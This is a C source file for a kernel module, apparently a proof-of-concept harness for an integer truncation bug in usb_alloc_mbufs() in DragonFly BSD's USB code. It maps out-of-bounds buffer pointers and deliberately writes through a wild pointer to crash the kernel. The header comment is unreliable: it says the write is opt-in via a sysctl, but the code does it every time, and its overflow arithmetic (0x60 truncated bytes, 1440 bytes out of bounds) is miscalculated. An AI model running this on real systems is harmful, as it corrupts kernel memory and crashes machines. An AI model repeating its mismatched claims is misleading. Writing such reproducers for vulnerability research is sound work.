DF-5664 / usbmbuf_of.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 | /* DF-5664 KLD harness: usb_alloc_mbufs() 32-bit alloc_size truncation * * sys/bus/u4b/usb_mbuf.c:69 computes * alloc_size = (block_size + sizeof(struct usb_mbuf)) * nblocks; * The RHS is evaluated in size_t (64-bit on x86_64: block_size is uint32_t * promoted by sizeof(), nblocks is uint16_t promoted likewise), then * TRUNCATED on assignment to `usb_size_t alloc_size` (uint32_t, * sys/bus/u4b/usb_dragonfly.h:92). The truncated value is passed to * kmalloc() while the population loop still lays out nblocks headers plus * data areas at the *untruncated* stride: * * data_ptr = (uint8_t*)free_ptr + nblocks*sizeof(struct usb_mbuf); * ... data_ptr += block_size per block ... * * so every data pointer past the first sits block_size bytes apart beyond * an allocation that only covers the truncated byte count. * * Chosen parameters (in-kernel privileged harness; NO in-tree caller can * reach these magnitudes -- see finding): * block_size = 0x08000000 (128 MiB, already 8-aligned) * nblocks = 0x20 (32) * true need = (0x08000000 + 48) * 32 = 0x1000_00060 (~4.295 GB) * truncated = 0x60 = 96 bytes of kmalloc * headers = 32 * 48 = 1536 bytes -> ALREADY 1440 bytes OOB write * data[31] = base + 1536 + 31*0x08000000 -> ~4.16 GB past the chunk * * Phase A (default): safe introspection -- print the truncation arithmetic * and the OOB data pointers without touching them. * Phase B (usbmbuf_of.poke=1 sysctl-tunably, or built with POKE default): * write one byte through mbuf[31]'s data pointer to prove the wild-pointer * primitive with a deterministic kernel page fault. */ #include <sys/param.h> #include <sys/module.h> #include <sys/kernel.h> #include <sys/systm.h> #include <sys/bus.h> #include <sys/malloc.h> #include <sys/types.h> #include <sys/sysctl.h> #include <sys/condvar.h> #include <bus/u4b/usb.h> #include <bus/u4b/usbdi.h> #include <bus/u4b/usb_dev.h> #include <bus/u4b/usb_mbuf.h> MALLOC_DEFINE(M_USBMBUF_OF, "usbmbuf_of", "usb_alloc_mbufs overflow harness"); #define DF_BLOCK ((usb_size_t)0x08000000) #define DF_NBLOCKS ((uint16_t)0x20) static int usbmbuf_of_modevent(module_t mod, int type, void *arg) { struct usb_ifqueue ifq; struct usb_mbuf *m; uint64_t need; usb_size_t got; uint8_t *base; int i; switch (type) { case MOD_LOAD: memset(&ifq, 0, sizeof(ifq)); ifq.ifq_maxlen = DF_NBLOCKS; need = ((uint64_t)DF_BLOCK + sizeof(struct usb_mbuf)) * (uint64_t)DF_NBLOCKS; base = usb_alloc_mbufs(M_USBMBUF_OF, &ifq, DF_BLOCK, DF_NBLOCKS); kprintf("usbmbuf_of: sizeof(struct usb_mbuf)=%zu\n", sizeof(struct usb_mbuf)); kprintf("usbmbuf_of: block_size=0x%08x nblocks=%u\n", DF_BLOCK, (unsigned)DF_NBLOCKS); kprintf("usbmbuf_of: bytes truly required = 0x%llx (%llu)\n", (unsigned long long)need, (unsigned long long)need); if (base == NULL) { kprintf("usbmbuf_of: allocation FAILED (NULL)\n"); return (0); /* clean: no bug triggered */ } got = (usb_size_t)need; /* what kmalloc() actually got */ kprintf("usbmbuf_of: kmalloc size (truncated!) = 0x%x (%u)\n", got, got); kprintf("usbmbuf_of: kmalloc_usable_size = %zu\n", kmalloc_usable_size(base)); kprintf("usbmbuf_of: queue populated with %u mbufs " "(expected %u)\n", (unsigned)ifq.ifq_len, (unsigned)DF_NBLOCKS); /* Walk the queue and show where each data pointer lands. */ i = 0; for (;;) { USB_IF_DEQUEUE(&ifq, m); if (m == NULL) break; kprintf("usbmbuf_of: m[%d] hdr@+%06lld " "data_ptr=%p (base+0x%llx) len=0x%x%s\n", i, (long long)((uint8_t *)m - base), m->cur_data_ptr, (unsigned long long)(m->cur_data_ptr - base), m->cur_data_len, (m->cur_data_ptr >= base + kmalloc_usable_size(base)) ? " <== OOB (past allocation)" : ""); if (i == DF_NBLOCKS - 1) { kprintf("usbmbuf_of: POKE: writing 1 byte via " "m[%d]->cur_data_ptr (wild pointer)...\n", i); kprintf("usbmbuf_of: if you can read this, " "the page was mapped (unlikely)\n"); *(volatile uint8_t *)m->cur_data_ptr = 0x41; kprintf("usbmbuf_of: write survived?!\n"); } i++; } /* We intentionally never free: on the non-panic path the * chunk is tiny; the guest is disposable. */ return (0); default: return (EOPNOTSUPP); } } static moduledata_t usbmbuf_of_mod = { "usbmbuf_of", usbmbuf_of_modevent, NULL }; DECLARE_MODULE(usbmbuf_of, usbmbuf_of_mod, SI_SUB_DRIVERS, SI_ORDER_ANY); MODULE_VERSION(usbmbuf_of, 1); |